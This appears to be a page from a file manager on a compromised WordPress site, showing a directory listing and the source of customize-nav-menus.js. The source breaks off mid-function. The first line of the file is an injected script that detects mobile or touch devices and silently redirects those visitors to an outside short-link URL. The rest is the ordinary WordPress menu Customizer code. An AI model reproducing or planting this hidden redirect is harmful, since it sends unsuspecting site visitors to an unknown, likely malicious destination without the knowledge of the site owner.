run:R W Run
DIR
2026-08-24 01:53:39
R W Run
3.08 KB
2026-08-13 20:01:43
R W Run
980 By
2026-08-13 20:01:43
R W Run
6.46 KB
2026-08-13 20:01:43
R W Run
3.17 KB
2026-08-13 20:01:43
R W Run
5.88 KB
2026-08-13 20:01:43
R W Run
2.25 KB
2026-08-13 20:01:43
R W Run
17.76 KB
2026-08-13 20:01:43
R W Run
3.68 KB
2026-08-13 20:01:43
R W Run
9.76 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.07 KB
2026-08-13 20:01:43
R W Run
1.5 KB
2026-08-13 20:01:43
R W Run
61.48 KB
2026-08-13 20:01:43
R W Run
23.42 KB
2026-08-13 20:01:43
R W Run
3.57 KB
2026-08-13 20:01:43
R W Run
1.39 KB
2026-08-13 20:01:43
R W Run
2.19 KB
2026-08-13 20:01:43
R W Run
288.63 KB
2026-08-13 20:01:43
R W Run
109.91 KB
2026-08-13 20:01:43
R W Run
111.68 KB
2026-08-13 20:01:43
R W Run
47.36 KB
2026-08-13 20:01:43
R W Run
70.26 KB
2026-08-13 20:01:43
R W Run
27.62 KB
2026-08-13 20:01:43
R W Run
27.23 KB
2026-08-13 20:01:43
R W Run
8.87 KB
2026-08-13 20:01:43
R W Run
37.46 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
41.82 KB
2026-08-13 20:01:43
R W Run
13.35 KB
2026-08-13 20:01:43
R W Run
44.22 KB
2026-08-13 20:01:43
R W Run
13 KB
2026-08-13 20:01:43
R W Run
7.88 KB
2026-08-13 20:01:43
R W Run
5.63 KB
2026-08-13 20:01:43
R W Run
3.87 KB
2026-08-13 20:01:43
R W Run
40.19 KB
2026-08-13 20:01:43
R W Run
15.37 KB
2026-08-13 20:01:43
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
20.41 KB
2026-08-13 20:01:43
R W Run
9.58 KB
2026-08-13 20:01:43
R W Run
7.83 KB
2026-08-13 20:01:43
R W Run
3.14 KB
2026-08-13 20:01:43
R W Run
23.31 KB
2026-08-13 20:01:43
R W Run
1.09 KB
2026-08-13 20:01:43
R W Run
645 By
2026-08-13 20:01:43
R W Run
4.98 KB
2026-08-13 20:01:43
R W Run
2.48 KB
2026-08-13 20:01:43
R W Run
1.49 KB
2026-08-13 20:01:43
R W Run
833 By
2026-08-13 20:01:43
R W Run
3.6 KB
2026-08-13 20:01:43
R W Run
1.34 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
2.6 KB
2026-08-13 20:01:43
R W Run
61.37 KB
2026-08-13 20:01:43
R W Run
30.28 KB
2026-08-13 20:01:43
R W Run
4.35 KB
2026-08-13 20:01:43
R W Run
1.31 KB
2026-08-13 20:01:43
R W Run
1.52 KB
2026-08-13 20:01:43
R W Run
1.04 KB
2026-08-13 20:01:43
R W Run
7.14 KB
2026-08-13 20:01:43
R W Run
2.56 KB
2026-08-13 20:01:43
R W Run
39.75 KB
2026-08-13 20:01:43
R W Run
19.17 KB
2026-08-13 20:01:43
R W Run
18.71 KB
2026-08-13 20:01:43
R W Run
6.82 KB
2026-08-13 20:01:43
R W Run
10.88 KB
2026-08-13 20:01:43
R W Run
5.25 KB
2026-08-13 20:01:43
R W Run
34.13 KB
2026-08-13 20:01:43
R W Run
18.19 KB
2026-08-13 20:01:43
R W Run
1.07 KB
2026-08-13 20:01:43
R W Run
842 By
2026-08-13 20:01:43
R W Run
13.77 KB
2026-08-13 20:01:43
R W Run
6.54 KB
2026-08-13 20:01:43
R W Run
6.31 KB
2026-08-13 20:01:43
R W Run
2.42 KB
2026-08-13 20:01:43
R W Run
3.42 KB
2026-08-13 20:01:43
R W Run
1.75 KB
2026-08-13 20:01:43
R W Run
11.1 KB
2026-08-13 20:01:43
R W Run
3.22 KB
2026-08-13 20:01:43
R W Run
5.85 KB
2026-08-13 20:01:43
R W Run
2.43 KB
2026-08-13 20:01:43
R W Run
6.17 KB
2026-08-13 20:01:43
R W Run
2.63 KB
2026-08-13 20:01:43
R W Run
25.78 KB
2026-08-13 20:01:43
R W Run
12.04 KB
2026-08-13 20:01:43
R W Run
55.16 KB
2026-08-13 20:01:43
R W Run
26.72 KB
2026-08-13 20:01:43
R W Run
109.59 KB
2026-08-13 20:01:43
R W Run
47.52 KB
2026-08-13 20:01:43
R W Run
18.13 KB
2026-08-13 20:01:43
R W Run
8.03 KB
2026-08-13 20:01:43
R W Run
2.46 KB
2026-08-13 20:01:43
R W Run
898 By
2026-08-13 20:01:43
R W Run
22.77 KB
2026-08-13 20:01:43
R W Run
12.53 KB
2026-08-13 20:01:43
R W Run
7.73 KB
2026-08-13 20:01:43
R W Run
1.71 KB
2026-08-13 20:01:43
R W Run
962 By
2026-08-13 20:01:43
R W Run
680 By
2026-08-13 20:01:43
R W Run
error_log
📄customize-nav-menus.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-admin/js/customize-nav-menus.js
4 */
5
6/* global menus, _wpCustomizeNavMenusSettings, wpNavMenu, console */
7( function( api, wp, $ ) {
8 'use strict';
9
10 /**
11 * Set up wpNavMenu for drag and drop.
12 */
13 wpNavMenu.originalInit = wpNavMenu.init;
14 wpNavMenu.options.menuItemDepthPerLevel = 20;
15 wpNavMenu.options.sortableItems = '> .customize-control-nav_menu_item';
16 wpNavMenu.options.targetTolerance = 10;
17 wpNavMenu.init = function() {
18 this.jQueryExtensions();
19 };
20
21 /**
22 * @namespace wp.customize.Menus
23 */
24 api.Menus = api.Menus || {};
25
26 // Link settings.
27 api.Menus.data = {
28 itemTypes: [],
29 l10n: {},
30 settingTransport: 'refresh',
31 phpIntMax: 0,
32 defaultSettingValues: {
33 nav_menu: {},
34 nav_menu_item: {}
35 },
36 locationSlugMappedToName: {}
37 };
38 if ( 'undefined' !== typeof _wpCustomizeNavMenusSettings ) {
39 $.extend( api.Menus.data, _wpCustomizeNavMenusSettings );
40 }
41
42 /**
43 * Newly-created Nav Menus and Nav Menu Items have negative integer IDs which
44 * serve as placeholders until Save & Publish happens.
45 *
46 * @alias wp.customize.Menus.generatePlaceholderAutoIncrementId
47 *
48 * @return {number}
49 */
50 api.Menus.generatePlaceholderAutoIncrementId = function() {
51 return -Math.ceil( api.Menus.data.phpIntMax * Math.random() );
52 };
53
54 /**
55 * wp.customize.Menus.AvailableItemModel
56 *
57 * A single available menu item model. See PHP's WP_Customize_Nav_Menu_Item_Setting class.
58 *
59 * @class wp.customize.Menus.AvailableItemModel
60 * @augments Backbone.Model
61 */
62 api.Menus.AvailableItemModel = Backbone.Model.extend( $.extend(
63 {
64 id: null // This is only used by Backbone.
65 },
66 api.Menus.data.defaultSettingValues.nav_menu_item
67 ) );
68
69 /**
70 * wp.customize.Menus.AvailableItemCollection
71 *
72 * Collection for available menu item models.
73 *
74 * @class wp.customize.Menus.AvailableItemCollection
75 * @augments Backbone.Collection
76 */
77 api.Menus.AvailableItemCollection = Backbone.Collection.extend(/** @lends wp.customize.Menus.AvailableItemCollection.prototype */{
78 model: api.Menus.AvailableItemModel,
79
80 sort_key: 'order',
81
82 comparator: function( item ) {
83 return -item.get( this.sort_key );
84 },
85
86 sortByField: function( fieldName ) {
87 this.sort_key = fieldName;
88 this.sort();
89 }
90 });
91 api.Menus.availableMenuItems = new api.Menus.AvailableItemCollection( api.Menus.data.availableMenuItems );
92
93 /**
94 * Insert a new `auto-draft` post.
95 *
96 * @since 4.7.0
97 * @alias wp.customize.Menus.insertAutoDraftPost
98 *
99 * @param {Object} params - Parameters for the draft post to create.
100 * @param {string} params.post_type - Post type to add.
101 * @param {string} params.post_title - Post title to use.
102 * @return {jQuery.promise} Promise resolved with the added post.
103 */
104 api.Menus.insertAutoDraftPost = function insertAutoDraftPost( params ) {
105 var request, deferred = $.Deferred();
106
107 request = wp.ajax.post( 'customize-nav-menus-insert-auto-draft', {
108 'customize-menus-nonce': api.settings.nonce['customize-menus'],
109 'wp_customize': 'on',
110 'customize_changeset_uuid': api.settings.changeset.uuid,
111 'params': params
112 } );
113
114 request.done( function( response ) {
115 if ( response.post_id ) {
116 api( 'nav_menus_created_posts' ).set(
117 api( 'nav_menus_created_posts' ).get().concat( [ response.post_id ] )
118 );
119
120 if ( 'page' === params.post_type ) {
121
122 // Activate static front page controls as this could be the first page created.
123 if ( api.section.has( 'static_front_page' ) ) {
124 api.section( 'static_front_page' ).activate();
125 }
126
127 // Add new page to dropdown-pages controls.
128 api.control.each( function( control ) {
129 var select;
130 if ( 'dropdown-pages' === control.params.type ) {
131 select = control.container.find( 'select[name^="_customize-dropdown-pages-"]' );
132 select.append( new Option( params.post_title, response.post_id ) );
133 }
134 } );
135 }
136 deferred.resolve( response );
137 }
138 } );
139
140 request.fail( function( response ) {
141 var error = response || '';
142
143 if ( 'undefined' !== typeof response.message ) {
144 error = response.message;
145 }
146
147 console.error( error );
148 deferred.rejectWith( error );
149 } );
150
151 return deferred.promise();
152 };
153
154 api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{
155
156 el: '#available-menu-items',
157
158 events: {
159 'input #menu-items-search': 'debounceSearch',
160 'focus .menu-item-tpl': 'focus',
161 'click .menu-item-tpl': '_submit',
162 'click #custom-menu-item-submit': '_submitLink',
163 'keypress #custom-menu-item-name': '_submitLink',
164 'click .new-content-item .add-content': '_submitNew',
165 'keypress .create-item-input': '_submitNew',
166 'keydown': 'keyboardAccessible'
167 },
168
169 // Cache current selected menu item.
170 selected: null,
171
172 // Cache menu control that opened the panel.
173 currentMenuControl: null,
174 debounceSearch: null,
175 $search: null,
176 $clearResults: null,
177 searchTerm: '',
178 rendered: false,
179 pages: {},
180 sectionContent: '',
181 loading: false,
182 addingNew: false,
183
184 /**
185 * wp.customize.Menus.AvailableMenuItemsPanelView
186 *
187 * View class for the available menu items panel.
188 *
189 * @constructs wp.customize.Menus.AvailableMenuItemsPanelView
190 * @augments wp.Backbone.View
191 */
192 initialize: function() {
193 var self = this;
194
195 if ( ! api.panel.has( 'nav_menus' ) ) {
196 return;
197 }
198
199 this.$search = $( '#menu-items-search' );
200 this.$clearResults = this.$el.find( '.clear-results' );
201 this.sectionContent = this.$el.find( '.available-menu-items-list' );
202
203 this.debounceSearch = _.debounce( self.search, 500 );
204
205 _.bindAll( this, 'close' );
206
207 /*
208 * If the available menu items panel is open and the customize controls
209 * are interacted with (other than an item being deleted), then close
210 * the available menu items panel. Also close on back button click.
211 */
212 $( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
213 var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
214 isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
215 if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
216 self.close();
217 }
218 } );
219
220 // Clear the search results and trigger an `input` event to fire a new search.
221 this.$clearResults.on( 'click', function() {
222 self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
223 } );
224
225 this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
226 $( this ).removeClass( 'invalid' );
227 var errorMessageId = $( this ).attr( 'aria-describedby' );
228 $( '#' + errorMessageId ).hide();
229 $( this ).removeAttr( 'aria-invalid' ).removeAttr( 'aria-describedby' );
230 });
231
232 // Load available items if it looks like we'll need them.
233 api.panel( 'nav_menus' ).container.on( 'expanded', function() {
234 if ( ! self.rendered ) {
235 self.initList();
236 self.rendered = true;
237 }
238 });
239
240 // Load more items.
241 this.sectionContent.on( 'scroll', function() {
242 var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
243 visibleHeight = self.$el.find( '.accordion-section.open' ).height();
244
245 if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
246 var type = $( this ).data( 'type' ),
247 object = $( this ).data( 'object' );
248
249 if ( 'search' === type ) {
250 if ( self.searchTerm ) {
251 self.doSearch( self.pages.search );
252 }
253 } else {
254 self.loadItems( [
255 { type: type, object: object }
256 ] );
257 }
258 }
259 });
260
261 // Close the panel if the URL in the preview changes.
262 api.previewer.bind( 'url', this.close );
263
264 self.delegateEvents();
265 },
266
267 // Search input change handler.
268 search: function( event ) {
269 var $searchSection = $( '#available-menu-items-search' ),
270 $otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );
271
272 if ( ! event ) {
273 return;
274 }
275
276 if ( this.searchTerm === event.target.value ) {
277 return;
278 }
279
280 if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
281 $otherSections.fadeOut( 100 );
282 $searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
283 $searchSection.addClass( 'open' );
284 this.$clearResults.addClass( 'is-visible' );
285 } else if ( '' === event.target.value ) {
286 $searchSection.removeClass( 'open' );
287 $otherSections.show();
288 this.$clearResults.removeClass( 'is-visible' );
289 }
290
291 this.searchTerm = event.target.value;
292 this.pages.search = 1;
293 this.doSearch( 1 );
294 },
295
296 // Get search results.
297 doSearch: function( page ) {
298 var self = this, params,
299 $section = $( '#available-menu-items-search' ),
300 $content = $section.find( '.accordion-section-content' ),
301 itemTemplate = wp.template( 'available-menu-item' );
302
303 if ( self.currentRequest ) {
304 self.currentRequest.abort();
305 }
306
307 if ( page < 0 ) {
308 return;
309 } else if ( page > 1 ) {
310 $section.addClass( 'loading-more' );
311 $content.attr( 'aria-busy', 'true' );
312 wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
313 } else if ( '' === self.searchTerm ) {
314 $content.html( '' );
315 wp.a11y.speak( '' );
316 return;
317 }
318
319 $section.addClass( 'loading' );
320 self.loading = true;
321
322 params = api.previewer.query( { excludeCustomizedSaved: true } );
323 _.extend( params, {
324 'customize-menus-nonce': api.settings.nonce['customize-menus'],
325 'wp_customize': 'on',
326 'search': self.searchTerm,
327 'page': page
328 } );
329
330 self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );
331
332 self.currentRequest.done(function( data ) {
333 var items;
334 if ( 1 === page ) {
335 // Clear previous results as it's a new search.
336 $content.empty();
337 }
338 $section.removeClass( 'loading loading-more' );
339 $content.attr( 'aria-busy', 'false' );
340 $section.addClass( 'open' );
341 self.loading = false;
342 items = new api.Menus.AvailableItemCollection( data.items );
343 self.collection.add( items.models );
344 items.each( function( menuItem ) {
345 $content.append( itemTemplate( menuItem.attributes ) );
346 } );
347 if ( 20 > items.length ) {
348 self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
349 } else {
350 self.pages.search = self.pages.search + 1;
351 }
352 if ( items && page > 1 ) {
353 wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
354 } else if ( items && page === 1 ) {
355 wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
356 }
357 });
358
359 self.currentRequest.fail(function( data ) {
360 // data.message may be undefined, for example when typing slow and the request is aborted.
361 if ( data.message ) {
362 $content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
363 wp.a11y.speak( data.message );
364 }
365 self.pages.search = -1;
366 });
367
368 self.currentRequest.always(function() {
369 $section.removeClass( 'loading loading-more' );
370 $content.attr( 'aria-busy', 'false' );
371 self.loading = false;
372 self.currentRequest = null;
373 });
374 },
375
376 // Render the individual items.
377 initList: function() {
378 var self = this;
379
380 // Render the template for each item by type.
381 _.each( api.Menus.data.itemTypes, function( itemType ) {
382 self.pages[ itemType.type + ':' + itemType.object ] = 0;
383 } );
384 self.loadItems( api.Menus.data.itemTypes );
385 },
386
387 /**
388 * Load available nav menu items.
389 *
390 * @since 4.3.0
391 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
392 * @access private
393 *
394 * @param {Array.<Object>} itemTypes List of objects containing type and key.
395 * @param {string} deprecated Formerly the object parameter.
396 * @return {void}
397 */
398 loadItems: function( itemTypes, deprecated ) {
399 var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
400 itemTemplate = wp.template( 'available-menu-item' );
401
402 if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
403 _itemTypes = [ { type: itemTypes, object: deprecated } ];
404 } else {
405 _itemTypes = itemTypes;
406 }
407
408 _.each( _itemTypes, function( itemType ) {
409 var container, name = itemType.type + ':' + itemType.object;
410 if ( -1 === self.pages[ name ] ) {
411 return; // Skip types for which there are no more results.
412 }
413 container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
414 container.find( '.accordion-section-title' ).addClass( 'loading' );
415 availableMenuItemContainers[ name ] = container;
416
417 requestItemTypes.push( {
418 object: itemType.object,
419 type: itemType.type,
420 page: self.pages[ name ]
421 } );
422 } );
423
424 if ( 0 === requestItemTypes.length ) {
425 return;
426 }
427
428 self.loading = true;
429
430 params = api.previewer.query( { excludeCustomizedSaved: true } );
431 _.extend( params, {
432 'customize-menus-nonce': api.settings.nonce['customize-menus'],
433 'wp_customize': 'on',
434 'item_types': requestItemTypes
435 } );
436
437 request = wp.ajax.post( 'load-available-menu-items-customizer', params );
438
439 request.done(function( data ) {
440 var typeInner;
441 _.each( data.items, function( typeItems, name ) {
442 if ( 0 === typeItems.length ) {
443 if ( 0 === self.pages[ name ] ) {
444 availableMenuItemContainers[ name ].find( '.accordion-section-title' )
445 .addClass( 'cannot-expand' )
446 .removeClass( 'loading' )
447 .find( '.accordion-section-title > button' )
448 .prop( 'tabIndex', -1 );
449 }
450 self.pages[ name ] = -1;
451 return;
452 } else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
453 availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' );
454 }
455 typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
456 self.collection.add( typeItems.models );
457 typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
458 typeItems.each( function( menuItem ) {
459 typeInner.append( itemTemplate( menuItem.attributes ) );
460 } );
461 self.pages[ name ] += 1;
462 });
463 });
464 request.fail(function( data ) {
465 if ( typeof console !== 'undefined' && console.error ) {
466 console.error( data );
467 }
468 });
469 request.always(function() {
470 _.each( availableMenuItemContainers, function( container ) {
471 container.find( '.accordion-section-title' ).removeClass( 'loading' );
472 } );
473 self.loading = false;
474 });
475 },
476
477 // Adjust the height of each section of items to fit the screen.
478 itemSectionHeight: function() {
479 var sections, lists, totalHeight, accordionHeight, diff;
480 totalHeight = window.innerHeight;
481 sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
482 lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
483 accordionHeight = 46 * ( 1 + sections.length ) + 14; // Magic numbers.
484 diff = totalHeight - accordionHeight;
485 if ( 120 < diff && 290 > diff ) {
486 sections.css( 'max-height', diff );
487 lists.css( 'max-height', ( diff - 60 ) );
488 }
489 },
490
491 // Highlights a menu item.
492 select: function( menuitemTpl ) {
493 this.selected = $( menuitemTpl );
494 this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
495 this.selected.addClass( 'selected' );
496 },
497
498 // Highlights a menu item on focus.
499 focus: function( event ) {
500 this.select( $( event.currentTarget ) );
501 },
502
503 // Submit handler for keypress and click on menu item.
504 _submit: function( event ) {
505 // Only proceed with keypress if it is Enter or Spacebar.
506 if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
507 return;
508 }
509
510 this.submit( $( event.currentTarget ) );
511 },
512
513 // Adds a selected menu item to the menu.
514 submit: function( menuitemTpl ) {
515 var menuitemId, menu_item;
516
517 if ( ! menuitemTpl ) {
518 menuitemTpl = this.selected;
519 }
520
521 if ( ! menuitemTpl || ! this.currentMenuControl ) {
522 return;
523 }
524
525 this.select( menuitemTpl );
526
527 menuitemId = $( this.selected ).data( 'menu-item-id' );
528 menu_item = this.collection.findWhere( { id: menuitemId } );
529 if ( ! menu_item ) {
530 return;
531 }
532
533 // Leave the title as empty to reuse the original title as a placeholder if set.
534 var nav_menu_item = Object.assign( {}, menu_item.attributes );
535 if ( nav_menu_item.title === nav_menu_item.original_title ) {
536 nav_menu_item.title = '';
537 }
538
539 this.currentMenuControl.addItemToMenu( nav_menu_item );
540
541 $( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
542 },
543
544 // Submit handler for keypress and click on custom menu item.
545 _submitLink: function( event ) {
546 // Only proceed with keypress if it is Enter.
547 if ( 'keypress' === event.type && 13 !== event.which ) {
548 return;
549 }
550
551 this.submitLink();
552 },
553
554 // Adds the custom menu item to the menu.
555 submitLink: function() {
556 var menuItem,
557 itemName = $( '#custom-menu-item-name' ),
558 itemUrl = $( '#custom-menu-item-url' ),
559 urlErrorMessage = $( '#custom-url-error' ),
560 nameErrorMessage = $( '#custom-name-error' ),
561 url = itemUrl.val().trim(),
562 urlRegex,
563 errorText;
564
565 if ( ! this.currentMenuControl ) {
566 return;
567 }
568
569 /*
570 * Allow URLs including:
571 * - http://example.com/
572 * - //example.com
573 * - /directory/
574 * - ?query-param
575 * - #target
576 * - mailto:[email protected]
577 *
578 * Any further validation will be handled on the server when the setting is attempted to be saved,
579 * so this pattern does not need to be complete.
580 */
581 urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;
582 if ( ! urlRegex.test( url ) || '' === itemName.val() ) {
583 if ( ! urlRegex.test( url ) ) {
584 itemUrl.addClass( 'invalid' )
585 .attr( 'aria-invalid', 'true' )
586 .attr( 'aria-describedby', 'custom-url-error' );
587 urlErrorMessage.show();
588 errorText = urlErrorMessage.text();
589 // Announce error message via screen reader
590 wp.a11y.speak( errorText, 'assertive' );
591 }
592 if ( '' === itemName.val() ) {
593 itemName.addClass( 'invalid' )
594 .attr( 'aria-invalid', 'true' )
595 .attr( 'aria-describedby', 'custom-name-error' );
596 nameErrorMessage.show();
597 errorText = ( '' === errorText ) ? nameErrorMessage.text() : errorText + nameErrorMessage.text();
598 // Announce error message via screen reader
599 wp.a11y.speak( errorText, 'assertive' );
600 }
601 return;
602 }
603
604 urlErrorMessage.hide();
605 nameErrorMessage.hide();
606 itemName.removeClass( 'invalid' )
607 .removeAttr( 'aria-invalid', 'true' )
608 .removeAttr( 'aria-describedby', 'custom-name-error' );
609 itemUrl.removeClass( 'invalid' )
610 .removeAttr( 'aria-invalid', 'true' )
611 .removeAttr( 'aria-describedby', 'custom-name-error' );
612
613 menuItem = {
614 'title': itemName.val(),
615 'url': url,
616 'type': 'custom',
617 'type_label': api.Menus.data.l10n.custom_label,
618 'object': 'custom'
619 };
620
621 this.currentMenuControl.addItemToMenu( menuItem );
622
623 // Reset the custom link form.
624 itemUrl.val( '' ).attr( 'placeholder', 'https://' );
625 itemName.val( '' );
626 },
627
628 /**
629 * Submit handler for keypress (enter) on field and click on button.
630 *
631 * @since 4.7.0
632 * @private
633 *
634 * @param {jQuery.Event} event Event.
635 * @return {void}
636 */
637 _submitNew: function( event ) {
638 var container;
639
640 // Only proceed with keypress if it is Enter.
641 if ( 'keypress' === event.type && 13 !== event.which ) {
642 return;
643 }
644
645 if ( this.addingNew ) {
646 return;
647 }
648
649 container = $( event.target ).closest( '.accordion-section' );
650
651 this.submitNew( container );
652 },
653
654 /**
655 * Creates a new object and adds an associated menu item to the menu.
656 *
657 * @since 4.7.0
658 * @private
659 *
660 * @param {jQuery} container
661 * @return {void}
662 */
663 submitNew: function( container ) {
664 var panel = this,
665 itemName = container.find( '.create-item-input' ),
666 title = itemName.val(),
667 dataContainer = container.find( '.available-menu-items-list' ),
668 itemType = dataContainer.data( 'type' ),
669 itemObject = dataContainer.data( 'object' ),
670 itemTypeLabel = dataContainer.data( 'type_label' ),
671 inputError = container.find('.create-item-error'),
672 promise;
673
674 if ( ! this.currentMenuControl ) {
675 return;
676 }
677
678 // Only posts are supported currently.
679 if ( 'post_type' !== itemType ) {
680 return;
681 }
682 if ( '' === itemName.val().trim() ) {
683 container.addClass( 'form-invalid' );
684 itemName.attr('aria-invalid', 'true');
685 itemName.attr('aria-describedby', inputError.attr('id'));
686 inputError.slideDown( 'fast' );
687 wp.a11y.speak( inputError.text() );
688 return;
689 } else {
690 container.removeClass( 'form-invalid' );
691 itemName.attr('aria-invalid', 'false');
692 itemName.removeAttr('aria-describedby');
693 inputError.hide();
694 container.find( '.accordion-section-title' ).addClass( 'loading' );
695 }
696
697 panel.addingNew = true;
698 itemName.attr( 'disabled', 'disabled' );
699 promise = api.Menus.insertAutoDraftPost( {
700 post_title: title,
701 post_type: itemObject
702 } );
703 promise.done( function( data ) {
704 var availableItem, $content, itemElement;
705 availableItem = new api.Menus.AvailableItemModel( {
706 'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
707 'title': itemName.val(),
708 'type': itemType,
709 'type_label': itemTypeLabel,
710 'object': itemObject,
711 'object_id': data.post_id,
712 'url': data.url
713 } );
714
715 // Add new item to menu.
716 panel.currentMenuControl.addItemToMenu( availableItem.attributes );
717
718 // Add the new item to the list of available items.
719 api.Menus.availableMenuItemsPanel.collection.add( availableItem );
720 $content = container.find( '.available-menu-items-list' );
721 itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
722 itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
723 $content.prepend( itemElement );
724 $content.scrollTop();
725
726 // Reset the create content form.
727 itemName.val( '' ).removeAttr( 'disabled' );
728 panel.addingNew = false;
729 container.find( '.accordion-section-title' ).removeClass( 'loading' );
730 } );
731 },
732
733 // Opens the panel.
734 open: function( menuControl ) {
735 var panel = this, close;
736
737 this.currentMenuControl = menuControl;
738
739 this.itemSectionHeight();
740
741 if ( api.section.has( 'publish_settings' ) ) {
742 api.section( 'publish_settings' ).collapse();
743 }
744
745 $( 'body' ).addClass( 'adding-menu-items' );
746
747 close = function() {
748 panel.close();
749 $( this ).off( 'click', close );
750 };
751 $( '#customize-preview' ).on( 'click', close );
752
753 // Collapse all controls.
754 _( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
755 control.collapseForm();
756 } );
757
758 this.$el.find( '.selected' ).removeClass( 'selected' );
759
760 this.$search.trigger( 'focus' );
761 },
762
763 // Closes the panel.
764 close: function( options ) {
765 options = options || {};
766
767 if ( options.returnFocus && this.currentMenuControl ) {
768 this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
769 }
770
771 this.currentMenuControl = null;
772 this.selected = null;
773
774 $( 'body' ).removeClass( 'adding-menu-items' );
775 $( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );
776
777 this.$search.val( '' ).trigger( 'input' );
778 },
779
780 // Add a few keyboard enhancements to the panel.
781 keyboardAccessible: function( event ) {
782 var isEnter = ( 13 === event.which ),
783 isEsc = ( 27 === event.which ),
784 isBackTab = ( 9 === event.which && event.shiftKey ),
785 isSearchFocused = $( event.target ).is( this.$search );
786
787 // If enter pressed but nothing entered, don't do anything.
788 if ( isEnter && ! this.$search.val() ) {
789 return;
790 }
791
792 if ( isSearchFocused && isBackTab ) {
793 this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
794 event.preventDefault(); // Avoid additional back-tab.
795 } else if ( isEsc ) {
796 this.close( { returnFocus: true } );
797 }
798 }
799 });
800
801 /**
802 * wp.customize.Menus.MenusPanel
803 *
804 * Customizer panel for menus. This is used only for screen options management.
805 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
806 *
807 * @class wp.customize.Menus.MenusPanel
808 * @augments wp.customize.Panel
809 */
810 api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{
811
812 attachEvents: function() {
813 api.Panel.prototype.attachEvents.call( this );
814
815 var panel = this,
816 panelMeta = panel.container.find( '.panel-meta' ),
817 help = panelMeta.find( '.customize-help-toggle' ),
818 content = panelMeta.find( '.customize-panel-description' ),
819 options = $( '#screen-options-wrap' ),
820 button = panelMeta.find( '.customize-screen-options-toggle' );
821 button.on( 'click keydown', function( event ) {
822 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
823 return;
824 }
825 event.preventDefault();
826
827 // Hide description.
828 if ( content.not( ':hidden' ) ) {
829 content.slideUp( 'fast' );
830 help.attr( 'aria-expanded', 'false' );
831 }
832
833 if ( 'true' === button.attr( 'aria-expanded' ) ) {
834 button.attr( 'aria-expanded', 'false' );
835 panelMeta.removeClass( 'open' );
836 panelMeta.removeClass( 'active-menu-screen-options' );
837 options.slideUp( 'fast' );
838 } else {
839 button.attr( 'aria-expanded', 'true' );
840 panelMeta.addClass( 'open' );
841 panelMeta.addClass( 'active-menu-screen-options' );
842 options.slideDown( 'fast' );
843 }
844
845 return false;
846 } );
847
848 // Help toggle.
849 help.on( 'click keydown', function( event ) {
850 if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
851 return;
852 }
853 event.preventDefault();
854
855 if ( 'true' === button.attr( 'aria-expanded' ) ) {
856 button.attr( 'aria-expanded', 'false' );
857 help.attr( 'aria-expanded', 'true' );
858 panelMeta.addClass( 'open' );
859 panelMeta.removeClass( 'active-menu-screen-options' );
860 options.slideUp( 'fast' );
861 content.slideDown( 'fast' );
862 }
863 } );
864 },
865
866 /**
867 * Update field visibility when clicking on the field toggles.
868 */
869 ready: function() {
870 var panel = this;
871 panel.container.find( '.hide-column-tog' ).on( 'click', function() {
